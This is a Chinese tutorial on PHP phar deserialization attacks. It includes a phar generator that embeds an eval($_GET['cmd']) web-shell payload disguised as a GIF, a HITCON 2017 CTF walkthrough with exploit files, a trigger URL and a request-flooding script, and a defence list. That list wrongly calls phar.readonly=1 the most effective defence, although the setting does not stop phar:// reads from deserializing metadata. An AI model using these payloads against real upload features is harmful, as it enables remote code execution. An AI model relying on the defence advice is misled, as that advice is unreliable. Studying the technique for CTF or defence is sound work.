PHP反序列化入门之phar
字数 1420 2025-08-18 11:38:08

PHP反序列化漏洞利用之phar协议详解

1. phar基础概念

phar(PHP Archive)是PHP的压缩文档格式,类似于Java的JAR文件。它可以将多个PHP文件归档到同一个文件中,并且不需要解压就能被PHP直接访问执行。

phar文件结构

一个标准的phar文件由4部分组成:

  1. stub:文件标识,格式为xxx<?php xxx; __HALT_COMPILER();?>;
  2. manifest:压缩文件的属性等信息,以序列化格式存储
  3. contents:实际压缩的文件内容
  4. signature:签名,放在文件末尾

2. phar的安全特性

phar有两个关键安全特性:

  1. 文件标识灵活性:stub部分必须以__HALT_COMPILER();?>结尾,但前面的内容没有限制,可以伪造为图片或PDF等文件头
  2. 自动反序列化:phar存储的meta-data信息以序列化方式存储,当通过phar://协议解析时会被自动反序列化

3. phar反序列化利用条件

要利用phar反序列化漏洞,需要满足以下条件:

  1. 存在可以上传文件的功能
  2. 有文件操作函数能通过phar://协议操作文件
  3. 存在可用的魔术方法或析构函数

4. 常见触发phar反序列化的函数

以下文件操作函数均可触发phar反序列化:

  • file_exists()
  • file_get_contents()
  • fopen()
  • file()
  • is_dir()
  • is_executable()
  • is_file()
  • is_link()
  • is_readable()
  • is_writable()
  • is_writeable()
  • parse_ini_file()
  • copy()
  • unlink()
  • stat()
  • readfile()

5. phar文件生成方法

基本生成代码

<?php
// 注意:必须在php.ini中设置phar.readonly=0,无法通过ini_set()设置
class MyClass {
    var $output = '@eval($_GET["cmd"]);';
}

$o = new MyClass();
$filename = 'poc.phar'; // 后缀必须为phar

// 删除已存在的文件
file_exists($filename) ? unlink($filename) : null;

$phar = new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); // 伪造GIF文件头
$phar->setMetadata($o); // 将对象存入meta-data
$phar->addFromString("foo.txt", "bar"); // 添加压缩文件内容
$phar->stopBuffering();
?>

伪造文件类型技巧

通过在stub中添加特定文件头,可以伪造文件类型:

  • 图片:GIF89aÿØÿà
  • PDF:%PDF-1.7

6. 实际利用案例

案例1:简单上传利用

  1. 生成恶意phar文件并伪装成图片
  2. 通过网站上传功能上传该文件
  3. 利用file_exists()等函数触发反序列化
// 触发代码示例
file_exists('phar://uploads/fake_image.gif');

案例2:HITCON2017 Baby^H Master PHP 2017

题目分析

  1. 目标:利用Admin类的__destruct方法获取flag
  2. 难点:需要绕过$random变量的限制
  3. 解决方案:通过匿名类名调用flag生成函数

攻击步骤

  1. 构造恶意phar文件:
<?php
class User {
    public $avatar;
    function __construct($path) {
        $this->avatar = 'avatar.gif';
    }
}

class Admin extends User {
}

$o = new Admin();
$filename = 'avatar.phar';
file_exists($filename) ? unlink($filename) : null;
$phar = new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("foo.txt", "bar");
$phar->stopBuffering();
?>
  1. 将phar文件重命名为avatar.gif并上传
  2. 利用Apache prefork模型特性,通过大量请求使Apache创建新线程
  3. 在新线程中匿名函数名会重置,便于预测
  4. 通过phar协议触发反序列化:
http://target/index.php?m=upload&url=phar:///var/www/data/xxxx/&lucky=%00lambda_1

自动化攻击脚本

import requests
import socket
import time
from multiprocessing.dummy import Pool as ThreadPool

try:
    requests.packages.urllib3.disable_warnings()
except:
    pass

def run(i):
    while 1:
        HOST = '127.0.0.1'
        PORT = 8000
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((HOST, PORT))
        s.sendall('GET /avatar.gif HTTP/1.1\nHost: localhost\nConnection: Keep-Alive\n\n')
        # s.close()
        print 'ok'
        time.sleep(0.5)

i = 8
pool = ThreadPool(i)
result = pool.map_async(run, range(i)).get(0xffff)

7. 防御措施

  1. 在php.ini中设置phar.readonly=1(这是最有效的防御方法)
  2. 对上传文件进行严格检查,不仅检查文件头还要验证实际内容
  3. 避免使用phar://协议处理用户可控的文件路径
  4. 对反序列化操作进行严格限制,避免反序列化用户可控数据

8. 总结

phar反序列化是一种强大的攻击技术,它结合了文件上传和反序列化两种漏洞类型。攻击者可以通过精心构造的phar文件触发目标系统中的反序列化操作,从而执行任意代码。防御此类攻击需要从文件上传处理和反序列化操作两方面进行严格限制。

PHP反序列化漏洞利用之phar协议详解 1. phar基础概念 phar(PHP Archive)是PHP的压缩文档格式,类似于Java的JAR文件。它可以将多个PHP文件归档到同一个文件中,并且不需要解压就能被PHP直接访问执行。 phar文件结构 一个标准的phar文件由4部分组成: stub :文件标识,格式为 xxx<?php xxx; __HALT_COMPILER();?>; manifest :压缩文件的属性等信息,以序列化格式存储 contents :实际压缩的文件内容 signature :签名,放在文件末尾 2. phar的安全特性 phar有两个关键安全特性: 文件标识灵活性 :stub部分必须以 __HALT_COMPILER();?> 结尾,但前面的内容没有限制,可以伪造为图片或PDF等文件头 自动反序列化 :phar存储的meta-data信息以序列化方式存储,当通过 phar:// 协议解析时会被自动反序列化 3. phar反序列化利用条件 要利用phar反序列化漏洞,需要满足以下条件: 存在可以上传文件的功能 有文件操作函数能通过 phar:// 协议操作文件 存在可用的魔术方法或析构函数 4. 常见触发phar反序列化的函数 以下文件操作函数均可触发phar反序列化: file_ exists() file_ get_ contents() fopen() file() is_ dir() is_ executable() is_ file() is_ link() is_ readable() is_ writable() is_ writeable() parse_ ini_ file() copy() unlink() stat() readfile() 5. phar文件生成方法 基本生成代码 伪造文件类型技巧 通过在stub中添加特定文件头,可以伪造文件类型: 图片: GIF89a 或 ÿØÿà PDF: %PDF-1.7 6. 实际利用案例 案例1:简单上传利用 生成恶意phar文件并伪装成图片 通过网站上传功能上传该文件 利用file_ exists()等函数触发反序列化 案例2:HITCON2017 Baby^H Master PHP 2017 题目分析 目标:利用Admin类的__ destruct方法获取flag 难点:需要绕过$random变量的限制 解决方案:通过匿名类名调用flag生成函数 攻击步骤 构造恶意phar文件: 将phar文件重命名为avatar.gif并上传 利用Apache prefork模型特性,通过大量请求使Apache创建新线程 在新线程中匿名函数名会重置,便于预测 通过phar协议触发反序列化: 自动化攻击脚本 7. 防御措施 在php.ini中设置 phar.readonly=1 (这是最有效的防御方法) 对上传文件进行严格检查,不仅检查文件头还要验证实际内容 避免使用 phar:// 协议处理用户可控的文件路径 对反序列化操作进行严格限制,避免反序列化用户可控数据 8. 总结 phar反序列化是一种强大的攻击技术,它结合了文件上传和反序列化两种漏洞类型。攻击者可以通过精心构造的phar文件触发目标系统中的反序列化操作,从而执行任意代码。防御此类攻击需要从文件上传处理和反序列化操作两方面进行严格限制。